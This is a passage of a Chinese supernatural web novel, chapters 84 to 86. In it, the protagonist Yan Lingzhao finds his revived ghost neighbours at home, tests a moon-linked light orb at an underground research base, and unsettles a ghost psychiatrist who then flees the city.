朱德宏刚准备接话,口袋里的手机突然振动起来。他掏出手机瞥了一眼来电显示,对宴泠昭说道:“我接个电话。”
走出病房时,朱德宏注意到宴泠昭的眼神有些异样,原因他也猜到了——这场景不能说似曾相识,而是根本一模一样:
就在几个小时前,他们刚经历过几乎同样的“流程”。
走廊上。
朱德宏按下接听键,电话那头传来监测部门负责人急促的声音:“朱主任,紧急情况!三个S级鬼域先后相差不到五分钟,全部消失了!”
“什么?”朱德宏的声音不自觉提高了几分,“三个S级鬼域都消失了?!”
“是的!”监测员的声音因激动而微微发颤,“部署在鬼域周边的阴性能量检测装置传输回来的数据全部归零。最初我们还以为是设备故障,但调取卫星图像确认了”
朱德宏握紧手机,急不可耐的打断道:“确认了什么?”
“完全是一片平地!”本来准备说得更详细的监测员听出朱德宏语气里的焦急,直接说出了结果。说完后,他咽了口唾沫,接着道:“您知道的,之前通过卫星观测鬼域,只能看到一团浓重的白雾笼罩着那片区域。但现在什么都没有了!”
朱德宏按捺住内心的激动,语气冷静的道:“具体是什么时候消失的?”
“根据数据记录,是在血月持续到一半时间时消失的。”监测员调阅着数据说道,“准确来说,是中午12点59分,三个鬼域的阴性能量读数在五分钟内先后归零。”
“现场派人确认了吗?”
“派了,由附近三支作战小队,分别前往三个鬼域原址探查。”监测员停顿了一下,“第一小队刚刚传回消息,原食堂鬼域的位置现在变成了一片普通的空地,连一丝阴气残留都没有。”
闻言,朱德宏的目光不自觉地瞟向病房方向:“另外两个呢?”
“第二小队报告,原公路鬼域同样变成了空地。”说到这,监测员的声音突然变得有些迟疑,“不过第三小队那边”
“怎么了?”
“他们说在图书馆鬼域原址发现了一些奇怪的遗留物。”监测员谨慎的用着措辞,“地上散落着大量纸张碎片,像是从某本书上撕下来的。”
朱德宏声音低沉:“收集样本带回来分析。还有,密切监视这三个区域,一有异常立即报告。”
挂断电话后,朱德宏站在走廊窗前,阳光透过玻璃洒在他的身上。
三个存在多年的S级鬼域竟然在差不多的时间里灰飞烟灭,这绝非巧合。
更让他在意的是时间点——血月持续到一半的时间。这与宴泠昭救完人,坐在长椅上的时间完全吻合。
朱德宏深吸一口气,整理好表情后推门回到病房。
宴泠昭已经下了床,此时正站在窗边,阳光为他镀上一层金边。
“是紧急公务?”宴泠昭头也不回的问道。
“例行报告而已。”朱德宏轻描淡写的带过,“对了,医生说你随时可以出院,不过我是建议再多观察两天。”
宴泠昭转过身来:“我想今天就回去。”
朱德宏点头:“可以,我让人去给你办理出院手续。”
“谢谢。”宴泠昭轻声说道。
朱德宏摆摆手:“不用谢,倒是你,辛苦了。”
宴泠昭摇了摇头,黑色的短发在阳光下微微晃动:“我没做什么,只是凭着一腔热血冲过去,结果差点把自己也搭进去,反倒给你们添麻烦了。最后还要你们来救我。”
其实并非如此,刻意隐瞒了这一点的朱德宏沉默了下,道:“客气了,你也是为了救人。”
之后,朱德宏再次离开病房,这回他说的是去安排宴泠昭的出院手续。但实际上,他快步走到走廊拐角,拨打了一通电话。
“立即收队撤离。”他压低声音说道,“还有,通知小区里的士兵,让他们暂时藏起来。等宴泠昭进入小区后,看情况再做定夺。”
【作者有话说】
[撒花]
84 第 84 章
◎光团子:嗨嗨嗨,爷回来了!(bushi)◎
宴泠昭站在小区门口, 那根红白相间的栏杆半悬着;保安亭的玻璃积着厚厚的灰尘,里面空无一人。
缓步走过坑洼的水泥路面, 鞋底碾过几片枯黄的叶子。老式五层楼房的墙皮剥落,露出里面发黄的墙体。楼道口的绿色铁门歪斜地敞着,门锁早已锈坏。
抬手,手指划过贴在单元门上的物业通知单,纸张边缘已经卷曲发黄。
想到之前在小区里的一战,那么多诡异, 也不知道活人还剩几个
宴泠昭走了下神,思绪回笼,他根据通知单上留下的电话号码,拨通了过去。
【“对不起, 您拨打的电话是空号——”】熟悉的女声温柔的响起。
宴泠昭却没有立马挂断电话,而是等到第二遍重复时, 他才仿若后知后觉的挂断。
又打开v信想要找到物业的聊天框, 但翻遍了都找不到。使用搜索功能, 得到的也是一个空白的“名单”
他的v信好友里没有这个人。
宴泠昭垂下手臂。
是了,整个小区除了他基本没有第二个活人,物业又怎么可能是活人?
抬脚,走进单元楼。
楼梯间的感应灯是早就坏了的, 白天还好, 有阳光。晚上若是天气好, 也有月光照亮。
一路向上。
宴泠昭停在四楼,钥匙插入生锈的门锁发出刺耳的摩擦声。
“咔嚓”
拧开房门, 推门而入。
他离家的时间不长, 准确来说前后不过几个小时, 因此家里还和他上一次离开时一模一样
只是不知为何, 心里空荡荡的。
宴泠昭走到窗边,低头望向楼下空荡荡的院子:几个破旧的健身器材孤零零地立着,秋千的铁链在风中微微晃动。
忽然感到失落。
——回首过去,面向现在。
绝大多数时间里,他其实一直都是一个人。学生时期交的朋友在毕业后也各自奔向自己的生活,早就没了联系,他又重新变成了一个人,也习惯了一个人。
后来鬼邻居们闯入了他的生活。嗯,还要加个手机鬼。
慢慢的,他预想的单行线人生,不知不觉多了好几条“交叉线”。他又习惯了热闹。
但现在,大家都
“啊啊啊终于回来了!憋死我了。对了,我的玩具小车我记得是放在沙发上的来着。”
稚嫩的童声突然从身后响起。
宴泠昭怔了下,随即下意识转身看去——客厅里,李小虎正踮着脚在沙发缝里四处摸索。
空气里的温度降低了不少,连带着光线似乎也暗了几分。
宴泠昭的目光越过李小虎,看到李奶奶坐在沙发上,织着她那只织了一半的衣服;何爷爷端着搪瓷缸,嘴里发出“呼呼”的声音,享受的眯起眼睛,喝着他的茶还有王大爷、田燕婉、王玲玲、手机鬼
八道身影,一个不少。
正在宴泠昭发愣时,李小虎终于从沙发垫下掏出了他的宝贝玩具车,而后献宝似的举起来。塑料小车在光线下泛出哑光质感,轮轴转动时发出不小的响声。
宴泠昭站在原地,窗帘被风吹起,扫过他的手腕。他静静看着李小虎摆弄玩具车,又看向其他人鬼,大家一如既往干着往常常做的事,波动的情绪渐渐恢复了平静。
窗外,树影随风摇曳。
宴泠昭张开嘴:“一会晚上吃什么?”
***
小区3号楼502室。
如今小区里的原住民几乎全灭,出现了“十室十空”的现象,找个房子暂住很容易。
一个名叫王磊的士兵正摆弄着新发的手机。屏幕的蓝光映在他略显透明的脸上,微信群里消息不断弹出。
【“崇文小区”特别行动组(65)
指挥部-张参谋:各单元汇报情况。】
王磊快速打字:【一切正常。】
消息刚发出去,其它楼栋的回复也接连弹出。56条“无异常”在屏幕上整齐排列,就像他们生前列队报数一样。
这时手机突然震动,私聊窗口跳出来:
【指挥部-张参谋:目标人物已进入小区,他到家了吗?】
王磊飘到窗前,灰白的眼珠透过玻璃望向对面:【刚进楼。】
【指挥部-张参谋:收到。
指挥部-张参谋:最新指令:所有人立即更换便装,伪装成普通住户。服装来源自行解决,注意不要暴露。】
王磊放下手机,看向房间里其他几个战友——不知道是不是变成鬼了的缘故,他们变透明了,连带身上的军装也“褪色”了,不过肩章依然清晰可见。
“换衣服了。”王磊说。
李强正在擦拭他的步枪。虽然变成鬼后这玩意儿已经没用了。他抬起头:“去哪找衣服?”
“咱们隔壁对门的原住户是个男人,可以穿他的衣服。”刘明从窗外飘出来,“我刚过去看的。”
五分钟后,三个换下军装的年轻人站在客厅里面面相觑。
王磊神色不自然地扯了扯身上的花衬衫,抽了抽嘴角。
这种衣服到底是谁在穿啊,他真的欣赏不来!
其他二人的表情也很古怪。
这原住户的审美水平简直了!
【指挥部-张参谋:更换完毕打报告。】
王磊拍了张自拍发到群里。
照片里,三个大男人穿着花里胡哨的便装,背景是贴着福字的墙面。
很快,陆陆续续其他人的照片也发了出来。
【指挥部-张参谋:监视目标,注意隐蔽。】
王磊下意识把手机塞进兜里,却发现手指径直穿过了布料。他这才想起,自己已经不是人了,叹了口气。
“你们说。”李强突然开口,“为什么我们还保持着理智?”
房间里一片沉默。
变成鬼后还能保持生前的心智,这确实违背常理。
刘明飘到窗前,望着对面6号楼亮起的灯光:“可能是因为我们不是“自然”变成鬼的。”
此话一出,王磊顿时想起那个站在血月下的银发身影——当他们从混沌中苏醒,第一眼看到的就是银发身影那双冰冷漠然的金色眼瞳。
正回忆着,手机又振动起来:
【指挥部-张参谋:[文档.docx]心理评估问卷已发送,所有人立即填写。】
回过神来,三人点开文档:
【是否有伤害活人的冲动?】
【是否对生前身份产生厌恶?】
【是否感受到无法控制的恶意?】
这些问题想都不用想,逐条勾选“否”。
最后一问:【如果接到杀害无辜平民的命令,你会执行吗?】
王磊依然毫不犹豫的勾选了“否”。然后看了眼两个同伴的答案——也是“否”。
两分钟后,总计收到57份答卷。至于剩下的8人,都是指挥部的,不用填写。
【指挥部-张参谋:收到。】
***
宴泠昭家不大,沙发也没那么大,一口气坐不下八个人。宴泠昭搬了几张椅子“加座”,才勉强够位置。
“你们是怎么活过来的?”
何老放下手中的茶杯,紫砂壶嘴还冒着缕缕热气。
“是你救了我们啊,小宴。”老人笑呵呵的说道,眼神温和的看着坐在对面的青年。
如果说之前他是被宴泠昭“打服了”,没招了才低下头选择的臣服,那现在就是心服口服。不过这只是原因之一,另一个原因嘛
复活后,他更贴近生前的状态,换句话说,心中没那么大恶意了。
他?没开玩笑吧?他有这能力?他怎么不知道?
宴泠昭默了默,转头看向另外七鬼。
李奶奶停下织毛衣的手,点了点头,王大爷颔首,就连正在摆弄玩具车的李小虎也抬起头,稚嫩的脸上写满认真,说道:“是的!何爷爷说的是真话。”
“我?”宴泠昭难以置信,“怎么可能?”
何老慢条斯理地啜了一口茶,不敢把话说明,怕引起月亮上的那位的关注,暗示道:“小宴啊,你真的了解自己吗?”
宴泠昭不语,低头看着自己的手掌。确实,他对体内的那股神秘力量一无所知——它的来源,它的原理它的极限。
失神了一会,思绪回笼,宴泠抬眸道:“既然你们都回来了”话没说完,他的声音戛然而止。
八鬼是回来了,可那些士兵呢?
宴泠昭脑海中不受控制的浮现不久前亲眼目睹的血腥画面:三个诡异虐杀人类的场景,断肢残骸,鲜血淋漓。
宴泠昭的手指无意识攥紧,指节发白。
还不知道三鬼已经灰飞烟灭的宴泠昭此刻心中只有一个念头:等他有能力了,定要让那三鬼血债血偿
夜深了,月亮悬在云层间,时隐时现。星星稀疏地点缀在暗沉的天幕上,偶尔被薄云遮住。风掠过树梢,枝叶沙沙作响,在地上投下摇晃的碎影。
宴泠昭换上睡衣,关掉灯。黑暗笼罩房间的瞬间,余光忽然捕捉到一丝异样的光亮。
他猛地转头看去,只见一团核桃大小的白光悬浮在空中,高度和他眼睛差不多齐平。那光芒柔和却不刺眼,他望过来后在空中左右摇摆了两下,然后又“Duang”地弹跳了几下,似乎在努力表达什么。
宴泠昭绷紧身体,快速伸出右手,一把将白光攥在掌心。光团子在他指缝间微微颤动,触感既不像实体也不是完全虚幻没有重量,质感冰冰凉凉,有种液体的湿润感,可手又是干的。
就像是握住了一团雾气。
“你是什么东西?”他低声自语,慢慢松开手掌。白光立刻蹦了出来,在他面前欢快地转了个圈,而后停在他鼻尖前,忽明忽暗地闪烁着,像是在打量他。
宴泠昭屏住呼吸,与这团神秘的光亮对峙着。
月光从窗帘缝隙渗入,将他的侧脸镀上一层银边,也照亮了那团不安分的光——它核心处似乎有什么东西在缓缓旋转,像是一个微型的星河。
***
时间很晚了,八鬼中有七鬼已经各回各家,还剩一个无家可归只能在他家“借住”的手机鬼。
宴泠昭刚想开口喊他过来看看这白光是什么玩意,光团子突然一颤,猛地朝他胸口冲来。
青年瞳孔骤缩,根本来不及做出反应,白光便已没入了他的身体。
宴泠昭立即抬手按住胸口,指尖在衣料上反复摩挲:皮肤完好无损,没有灼烧感,也没有任何异样的温度,什么变化、感觉都没有。
可他分明亲眼看着光团钻了进去。
“啪”的一声,宴泠昭重新打开灯,然后开门离开卧室,向浴室走去。
客厅里正抱着平板电脑打游戏的手机鬼听见动静抽空抬头看了眼,又低下头继续战斗了。
另一边,宴泠昭走进浴室,一边脱掉上衣,一边走到镜前,对着镜子仔细检查——胸膛光洁平滑,没有丝毫异样。
那团光去哪了?
怎么看身上都没有肉眼能观察到的异况。宴泠昭沉着脸回到卧室,从床头柜上拿起手机。屏幕亮起,照亮他微蹙的眉头。指尖在联系人列表滑动,最终停在备注为“张教授”的聊天窗口。
【宴:张教授,明天我想去基地做个全面检查。】
发完消息,宴泠昭忽然想起不久前做的那个异常真实的清醒梦。
原本他打算第二天去找董医生咨询来着,但之后接二连三发生的事让他完全忘了这茬。
手指在屏幕上停顿片刻,宴泠昭又补充了一条:
【宴:顺便还想检查下精神方面。基地里有相关领域的人员吗?】
【作者有话说】
光团:say hi!
宴泠昭:?
85 第 85 章
◎光团的运用方式◎
早上七点半。
基地的走廊依旧亮着冷白的灯光。毕竟基地位于地下, 不开灯根本看不见东西,可以说电灯一天二十四小时都是不停歇开着的。那些实验仪器设备就更是了, 是以基地的电力系统是完全独立的,整个市断电基地都不会断电。
宴泠昭站在扫描舱前,金属舱门无声滑开,露出内部精密的检测装置。
他脱去外套,只穿着贴身的黑色背心,露出线条分明的手臂。冷色调的灯光下, 他的皮肤显得格外苍白,隐约可见几道尚未完全愈合的伤痕——那是昨天受的伤。
说到这里,就不得不提宴泠昭当时明明感觉自己的骨头肯定是断了的,但醒来后居然什么事都没有, 朱德宏也说他的检查报告上一切正常,只是有点外伤。
“请进入扫描区域。”机械女声温柔的指示道。
宴泠昭抬脚走进检测舱, 金属地板传来细微的震动, 舱门缓缓合上。
接着, 好几个微型扫描探头从舱壁伸出,发出淡蓝色的光晕,开始对他进行全身扫描。一道环形光带从他的头顶缓缓下移,所过之处, 皮肤下的血管网络在旁边的显示屏上清晰显现。
透过观察窗, 张棋民教授站在主控台前, 手指在键盘上敲击。他时不时推一下滑落的眼镜,镜片上反射着不断跳动的数据流。当看到某个数值时, 他的眉头微微皱起, 在记事本上快速记录着什么。
半小时过去, 最后一项脑部功能性核磁共振也完成了。
舱门打开, 宴泠昭走了出来。
“虽然部分数据比上次提升了3%,但仍在正常范围内。”张棋民将厚达二十页的检测报告递给宴泠昭,纸张上密密麻麻都是专业术语和曲线图。
宴泠昭根本看不懂,扫了一眼,就默默收了起来。
张棋民:“距离上一次体检没几天,怎么突然又要体验,是身体出现了什么异常吗?”
宴泠昭不语,只是看着张棋民。
老教授立刻会意:“去我办公室说。”
关上房门,锁芯发出轻微的“咔哒”声。
张棋民抬了下手,示意宴泠昭随便坐。
宴泠昭没坐,直接道:“昨晚有一团白光进入了我的身体。核桃大小,大概率存在自主意识。”
张棋民正在倒茶的手猛地一顿,茶水险些洒出杯沿。他放下茶壶,镜片后的眼睛骤然亮了起来:“具体是什么样的光?有温度吗?触感如何?”
“像雾气,虚幻中带着一点实感。”宴泠昭回忆着昨晚的情形,“温度冰凉,触感轻微湿润。重点是,它的行为模式很特别——”他顿了顿,“它好像会根据我的反应调整行动,还会主动引导我的注意力。”
张棋民背着手,在房间里来回踱步。皮鞋与地面敲击发出“哒哒”的响声,白大褂下摆随着急促的转身动作翻飞。
“我想起来了,昨晚是满月!”他突然停在宴泠昭面前,眼神亮得惊人,声音因兴奋而有些发颤,“你体内的那股力量我们猜测与月亮有关,所以,那团光很可能也与月亮有关!你也说了,那光是柔和的白色,质感像雾气,温度冰凉,触感湿润这都能与月亮给予我们的“特征”对上!”
——关于宴泠昭昨天被月神“操控”后召唤出的光团只有军方人员知道,因为军方人员一直在密切关注。
而关于光团的存在,目前只有内部知道,张教授是不知道的。但他猜对了。
不得不说,搞科研的思维就是敏锐,反应也很快。
“我需要采集一些你的表皮细胞样本。”张棋民振奋的说道,“既然它融入了你的身体,理论上会在细胞层面留下能量痕迹”
他的声音戛然而止。
只见宴泠昭不知为何突然抬起右手,手心上浮现出一层淡淡的银光,那光芒如水般流动,渐渐凝聚成一个小小的光团。
核桃大小。
与昨晚一模一样。
光团在宴泠昭掌心左右摇晃,蹦跶来蹦跶去。
张棋民屏住呼吸,小心翼翼的靠近,连眼镜滑到鼻尖都顾不上推。就在他的手指即将触碰到光团的瞬间,光团倏然变扁,“钻入”了宴泠昭的手心。
办公室陷入一片寂静,只剩下空调运转的轻微嗡鸣声。
半晌。
张棋民手发抖地摘下眼镜用力擦了擦,又重新戴上,仿佛这样就能看得更清楚些。
“这、这简直”他深吸一口气,平复激动的心情,“宴泠昭,你能再让它出来一次吗?”
宴泠昭垂眸望向自己的掌心,尝试回忆刚才的感觉——那种微妙的牵引力,像是体内有什么东西在回应他的意志。
实际上,他刚才只是想着怎么能把那光弄出来,接着就产生了一种莫名的冲动。就像是本能。
一分钟后,银光再次从他指尖渗出,缓慢凝聚成团,在空气中轻轻浮动。这一次,光团的亮度似乎更亮了几分,核心处隐约可见细小的光球流转,如同微缩的星河。
张棋民见状,立刻扑向办公桌,从抽屉里掏出一个巴掌大的金属仪器,然后大步回到宴泠昭面前,将仪器对光团,按下开关。
“这是最新研发的能量频谱分析仪。”他解释道,“可以检测能量的波动频率和构成”
探针刚接触到光团表面,仪器的显示屏就疯狂闪烁起来,各种数据如瀑布般滚动。
张棋民的眼睛越睁越大。
“果然啊!”他喃喃道,“和月球上那个——”
张棋民话说到一半,骤然想起不能让宴泠昭知道月神的存在,登时吓得出了一身冷汗,赶忙将未道出的话语吞回肚子。
可惜已经晚了,宴泠昭都听到了。
“月球上?”
张棋民推了推眼镜,眼神闪忽,笑容略显僵硬:“啊,就是一些科研设备,嫦娥工程不是一直在进行吗”他的目光游移了一瞬,又迅速补充道,“主要是监测月壤成分之类的。”
宴泠昭静静的注视着老教授。张棋民的语速比平时快了半拍,手指无意识地收紧——这些小动作,无一不在说明他在撒谎。
但宴泠昭没有拆穿。
青年垂下眼睫,转而看向自己的掌心,仿佛能看乳白色的光晕在皮肤下若隐若现。
现在,比起追问张棋民不愿意说的事,他更在意光团。
——昨天无论如何都无法主动召唤,今天却像是突然掌握了诀窍。而如果光团真如张棋民所说,与他体内那股神秘力量有关,甚至同源
想到这里,宴泠昭的指尖微微收拢。很少有事情能让他产生迫不及待的情绪,但现在,他确实有些等不及了。
“张教授。”宴泠昭抬起眼,直视张棋民,“我想实验一下光团的使用方法。你能协助我吗?”
见宴泠昭没有继续追问月球的事,张棋民明显松了口气,笑容自然了许多:“当然!咱们实验室里啥都有,设备也是现成的,随你折腾!”
负三层。
一间小型实验室内。
“我们先从基础测试开始。”张棋民在控制台上调出程序,“试着让光团接触这个。”
他指向房间中央一个金属立方体——那是专门用来测试诡异力量强度的标靶。而这种标靶不止一个,放眼望去,粗略的数,近三十个。
宴泠昭照做,白光如水般从他掌心流淌而出,凝聚成核桃大小的光团。而后随着他的意念,缓缓飘向标靶。
当光团与金属表面接触的瞬间:
“滋滋!”
刺目的白光炸开,立方体像遇到高温的黄油般开始融化。监测屏幕上的数据疯狂跳动,警报声尖锐的响起。
“能量读数突破阈值!”张棋民兴奋地拍了下控制台:“太完美了!继续,试试看能否控制输出强度!”
宴泠昭顿了下,试着在脑海中构建“减弱”的意念。
奇妙的是,光团似乎真的能理解他的想法,核心处的光芒闪烁了几下,随即柔和下来。这一次,当它触碰第二个标靶时,只在表面留下了浅浅的凹痕。
“绝佳的操控性!”张棋民飞快记录着数据,“现在试试范围控制——能让它分成多个个体吗?”
宴泠昭闭目凝神。几秒钟后,光团突然颤动起来,接着像分裂的细胞般一分为二,二分为四转眼间,十几个核桃大小的光球悬浮在空中。
“很好!非常好!”张棋民激动得声音颤抖,“现在试试看,能不能让它们同时攻击不同目标!”
宴泠昭的目光扫过面前余下的二十多个标靶。随着他的视线移动,光团立刻分组行动,精准地扑向各自的目标。
砰砰砰!
一连串的爆裂声中,所有标靶同时被击穿。更令人惊讶的是,每个光团的破坏力度竟然完全一致。
张棋民呆立在控制台前,半晌才找回自己的声音:“这你是怎么做到的?你已经能完全掌控它了吗?”
“意识具现化,随我的意念行动。至于是不是完全掌控,我不能确定,但能肯定的是运用上没问题。”宴泠昭说着,收回所有光团。光团们如倦鸟归巢般没入他的掌心,没有留下一丝痕迹。
张棋民还沉浸在对实验数据的震撼中,手指无意识地在屏幕上照着那些惊人的数值曲线比划。同时发散思绪——如果这种能量能够稳定控制,如果能够解析其作用机制
“张教授。”宴泠昭的声音将他拉回现实,“昨天我说过想做个精神检查。”
“啊?哦!对!”张棋民猛地回过神,推了推划到鼻尖的眼镜,“我儿子医院最近新招了个心理医生,能力相当出色,还很年轻。当然,这个年轻是相较于医生这个行业来说,对于你这种小年轻,算年纪大的。”
宴泠昭:“不是基地内部的医生?”
“嗐。”张棋民摆摆手,“不是说咱们基地的医生不行,但既然我认识更好的,当然要给你安排那个最好的了。”说着,他掏出手机,乐呵呵地拨通了一个电话,“儿子啊,你们医院那个新招的心理医生对对,就是他就现在吧,我们马上过来。”
挂断电话,张棋民拍了拍宴泠昭的肩膀:“巧了,那医生正好来B市代表医院参加医学座谈会。我现在也没其它安排,走着,咱们一起。”
四十分钟后。
宴泠昭看着面前不算陌生的面孔,沉默了。
【作者有话说】
[撒花]
86 第 86 章
◎傅医生:怎么又是你啊!◎
晨光透过落地窗洒进室内, 将木质地板映出一片暖色。
宴泠昭站在窗边,阳光勾勒出他清瘦的轮廓。他平静的注视着面前头发灰白的男人, 目光如常,看不出任何波澜。
“傅医生。”
傅明常心头一跳。
——大约三个月前,他以工作调动为由匆匆结束了与青年的医患关系。本以为以后不会再见,却不想,现实与想象相差甚远,这么快就再见了。
“宴先生, 好久不见。”傅明常镇静地推了推金丝眼镜,镜片后的眼睛快速眨动了两下,“没想到张院长说的患者是您。”
张棋民站在一旁,敏锐的察觉到空气中的气氛有些微妙, 好奇的问道:“你们认识?”
“傅医生之前给我做过咨询。”宴泠昭点了下头,语气很淡。
“那太好了!”张棋民拍了下手, “熟人更好沟通。这样, 我在外面等你们, 你们慢慢聊。”说完,便转身离开了房间,出去后没忘记顺手关门。
房门合上的瞬间,傅明常的后背已经沁出一层冷汗。他借着整理文件的动作掩饰自己的不安, 纸张在他手中发出摩擦的沙沙声
三个月前那次咨询, 以噩梦中的恐惧为“食”的他进入了宴泠昭的梦境, 本以为能大快朵颐一番,不料, 点子扎手。
那是一片灰暗的城市废墟景象, 天空呈现出不详的暗红色, 仿若世界末日。而在废墟中央, 立着一个庞大到令人窒息的身影,浑身长满触手,触手在虚空中舞动,仅仅是瞥见一眼,就让他感到眼球宛如要爆开的刺痛,同时耳边响起模糊不清的呓语。
听不清说的什么,但污染性极高,害得他差点失控。
显然,这哪是人,分明是同类!
那之后,他连夜提交了调职申请,选了距离B市最远的Q市
“傅医生,你似乎不太舒服?”宴泠昭的声音将傅明常拉回现实,“你的手在抖,是空调温度太低了吗?”
“啊,是有点冷。”傅明常回过神来,勉强扯出一个微笑,伸手拿起放在桌上的遥控器,调高了空调温度,然后面朝宴泠昭,说道:“宴先生最近睡眠情况怎么样?”
“还行。不过做了个清醒梦一个,无比真实的清醒梦。”宴泠昭在沙发上坐下,阳光照在他的侧脸,映出几分冷清的轮廓,“梦到一个村子一尊邪神”
傅明常手上的的钢笔“啪嗒”一声掉在桌上。
“清醒梦?”他的声音微微发紧,“您是说您在梦里知道自己是在做梦?”
“嗯。”宴泠昭的目光转向窗外,言简意赅的总结道:“村子很破旧,村民信仰邪神。我在梦里与他们作战。”
傅明常的眼皮不受控制地狂跳。
清醒梦这意味着宴泠昭在梦里拥有完全的自我意识,甚至能控制梦境走向。而更让他心惊的是“邪神”这个字——三个月前,他看到的那个梦境里,那个庞大到令人窒息的存在,不正符合“邪神”的描述吗?
宴泠昭这是什么意思?跟他摊牌了,不装了?
“这种梦”傅明常努力让自己的声音听起来镇定,“通常象征着潜意识的某种对抗。您能详细说说那尊邪神吗?”
宴泠昭沉默片刻,道:“头戴高冠、面目狰狞,长得像人。”
傅明常抽了抽嘴角。
那没事了,和他之前看的那个由无数触手组成的巨大身影不一样不对,这问题更大了,宴泠昭是把哪个同类干掉了吗?
“宴先生。”傅明常声音有些发干,“您在梦里,是怎么与它作战的?”
宴泠昭的目光重新落回傅明常脸上,平静得近乎冷漠:“想象力,或者说意念。我在梦里,是能自由操控的。”
闻言,傅明常眼皮跳得更快了。
实锤了!绝逼是有倒霉蛋被宴泠昭干掉了!
傅明常不知道该怎么回话,他琢磨不透宴泠昭的意思,深怕一句话没说对,被宴泠昭宰了。
好在他的手机这时响起。傅明常如蒙大赦般抓起手机,假装看了眼,然后道:“抱歉,是医院的通知座谈会提前了?现在就要过去?”
挂断电话后,傅明常露出歉意的表情:“实在不好意思,医院那边有急事。要不我们改天再”
等离开酒店,与张教授和宴泠昭告了别、上了车,并且车开出去有一段距离,傅明常紧绷的神经才放松下来。他抬手擦了擦额上的冷汗,喉结滚动了一下,颤抖着手拨通了一个电话:
“张院长,今天的座谈会结束后往后几天我都不参与了身体不太舒服”
***
出租车上。
张棋民和宴泠昭都坐在后排。前者转头问后者:“怎么这么快就结束了?傅医生那边怎么说?”
宴泠昭望着窗外飞速后退的街景,声音平静:“他临时有事。”
张棋民遗憾的叹了口气:“这样啊不打紧,等傅医生忙完了,我再陪你来一趟就是。”
宴泠昭“嗯”了一声
中午12:30。
B市医学座谈会现场。
傅明常站在演讲台上,脸上挂着得体的微笑,流畅的总结着自己近年来在心理治疗领域的成果。
他的发言专业而精炼,赢得了在场医生们的阵阵掌声。
“因此,我认为心理治疗的核心在于建立稳定的医患信任关系,而非单纯的技术手段。”他说完最后一句总结词,微微鞠躬,“谢谢各位。”
台下掌声雷动。
座谈会一结束,不少医生围了上来,热情的与傅明常攀谈。
“傅医生真是年轻有为啊!”
“刚才的分享太精彩了!”
傅明常勉强应付着,脸上笑容不变,心里却已经焦躁不安。他随便找了个借口脱身,一出会场就立刻掏出手机,火速订了最近一班飞往Q市的机票。
——下次再也不来B市了,说什么也不来。
两小时后,飞机准时起飞。
傅明常靠在座位上,闭目养神,脑海中却不断闪回宴泠昭那双平静到令人心悸的眼睛,后背渗出冷汗。
实在不行,要不然躲到南极去
傍晚六点,飞机落地。
Q市,傅明常的公寓。
一进门,他就将自己摔在床上,长长的舒了一口气。
总算离开B市了。
休息片刻后,傅明常坐起身,眼神逐渐变得幽深。下一秒,一道半透明的魂体从他体内缓缓飘出——那才是他真正的形态。
傅明常,或者说傅医生,早就不是活人了。
他死于三年前的一场意外车祸。而与别的诡异不同,不知道为什么,傅医生能够自由出入自己的身体。且身体不会腐烂,也不会僵硬,完全能像常人一样活动。这让他得以继续以活人的身份行走于世。
也不知道是不是这个原因,他心中的恶意没有正常鬼那么重,至今没杀过人,都是给病人种下一颗“噩梦种子”,让病人做的噩梦更强烈,以此激发病人的恐惧来吸收,变得强大。
这个做法缺德是缺德,但截止到目前为止,还没死过人。
不像别的诡,不出手则已,一出手就往死了整。
而且傅医生是懂可持续发展的,他最后会吸收走病人的全部噩梦,病人自此痊愈。就像什么呢?像中医的拔火罐,刺激身体来得更猛烈,然后修复,“病”就好了。
尽管原理不是一个原理,但过程和结果是一样的。
不然傅明常怎么会那么出名?被称为医术了得?
“魂体状态”的傅明常飘到窗前,望着远处的夜色。他必须确认一件事——那三个S级诡异,现在到底是什么情况?
闭上眼,傅明常放任自己的意识下沉,通过曾经“品尝”过的病人的梦境作为跳板,实现远距离移动。
这是他的能力之一:以梦境为媒介,进行空间跳跃。
第一个目的地,是离胖厨师鬼域最近的一个失眠症患者的梦境。灰暗的梦境碎片中,傅明常的魂体一闪而过,迅速朝着鬼域方向掠去。
当他赶到时,眼前的景象令他不由得发怔。
只见原本阴森恐怖的鬼域,此刻竟变成了一片平坦的空地。没有一丝阴气残留,仿佛这里从未存在过任何诡异。
傅明常心头一颤,立刻转向第二个目标:眯眼交警的鬼域。
同样的情况。
荒芜的空地上,连一块砖石都没留下,干净得像是被某种力量彻底抹除了。
最后一个,管理员的图书馆鬼域。
一如前面两个,也变成了空地。
“这……”
傅明常不敢久留,迅速撤回。
当他的魂体重新回到自己的身体,傅明常的脸色已经难看到了极点。
——三个S级鬼域,居然全部被夷为平地。
人类目前是绝对没有这种能力的,那么,答案只有一个:宴泠昭做的。
不过也不能完全确认,他又没有证据。只是他知道的人里,只有宴泠昭有这个实力如果真是宴泠昭干的,那宴泠昭比他想象的还要恐怖。
如此看来,他离开B市、远离宴泠昭是对的。
但话又说回来,那三个大鬼为什么要去招惹宴泠昭?平时井水不犯河水的。
想不通,傅明常摇了摇头,不想了。反正他自己不作死就行了。
时间回到下午1点。
基地。
张棋民皱着眉拨通了儿子的电话。
“喂,儿子啊,傅医生那边忙完了吗?”
电话那头传来略显无奈的声音:“爸,忘了说,刚才太忙了傅医生身体不舒服,回Q市了。”
“什么?”张棋民的声音顿时提高了八度,“怎么突然就身体不舒服了?真的假的?”
“傅医生人很靠谱的,不会乱说。”儿子解释道,“可能是最近太累了,座谈会还没开始就说身体不适,结束后头开始晕,人家直接订机票回去了。”
张棋民能说什么呢。挂断电话后,他转头看向一旁等待的宴泠昭,叹了口气:“唉,你说这小傅,好端端的怎么就生病了。”
宴泠昭闻言,想起什么,说道:“早上我见他的时候,就看他手一直在抖。”
张棋民一愣,嘀咕道:“原来是这样”他摇摇头,心里的不满顿时消散,“算了,那就在基地看吧。弄半天我这完全是多此一举,早知道还不如让你直接找基地的医生了。”
基地的诊疗室与外面的诊疗室相比,要简洁许多,没有温馨的装饰,只有必要的设备和一张舒适的躺椅。
负责给宴泠昭检查的,是基地的心理医师之一:赵医生。赵医生今年四十九岁,是个性格温柔的女医生。
“放松,就当是和我聊天。”赵医生笑道,“听说你做了一个特别的梦?”
宴泠昭躺在椅子上,平静的描述了自己的清醒梦经历。
两小时后,赵医生摘下眼镜,露出一个安抚的笑容:“你很健康,精神状态非常稳定。”
宴泠昭微微蹙眉:“但那个梦”
“每个人的大脑活动都是独特的。”赵医生温和的打断他,“不必用别人的标准来衡量自己。我们做过全面检测,你的状态完全符合你的体质特征。”
